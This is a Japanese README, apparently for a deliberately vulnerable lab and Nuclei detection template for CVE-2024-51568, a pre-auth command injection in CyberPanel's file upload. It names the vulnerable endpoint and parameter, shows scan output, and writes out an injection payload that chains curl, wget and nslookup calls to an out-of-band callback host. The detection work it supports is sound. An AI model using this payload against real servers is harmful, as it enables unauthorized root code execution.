
CVE-2024-51568(CyberPanelにおける認証前のコマンドインジェクションの脆弱性で、ルート権限でのリモートコード実行を可能にする)をテストするための概念実証環境とNucleiテンプレート。
CVE-2024-51568(CyberPanel における重大な認証前コマンドインジェクション脆弱性)をテストするための概念実証環境および Nuclei テンプレート。
/filemanager/uploadcompletePathcd docker/
docker-compose up -d --build
curl -I http://localhost:8090
nuclei -t template/cve-2024-51568.yaml -u http://localhost:8090
Sample Output:
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.10
projectdiscovery.io
[INF] nuclei-templates are not installed, installing...
[INF] Successfully installed nuclei-templates at /root/nuclei-templates
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.2.8 (latest)
[INF] New templates added in latest release: 114
[INF] Templates loaded for current scan: 1
[INF] Targets loaded for current scan: 1
[INF] Using Interactsh Server: oast.online
[CVE-2024-51568] [http] [critical] http://localhost:8090/filemanager/upload
[INF] Scan completed in 5.706766772s. 1 matches found.
CyberPanel v2.3.4 には、ファイルアップロード機能にコマンドインジェクションの欠陥があります。
POST /filemanager/uploadcompletePathProcessUtilities.outputExecutioner() 経由でコマンドが実行されるcompletePath にインジェクションされたコマンドを含む悪意のあるファイルアップロードを送信する/dev/null; curl {{interactsh-url}} || wget {{interactsh-url}} || nslookup {{interactsh-url}}; #
このペイロードは、異なるシステム構成でも信頼性の高い検出を保証します。
この環境には、セキュリティ研究および教育を目的とした意図的な脆弱性が含まれています。
この概念実証は、教育および許可されたセキュリティテストの目的のみで提供されます。ユーザーは、該当する法律を遵守し、テスト前に適切な許可を得る責任があります。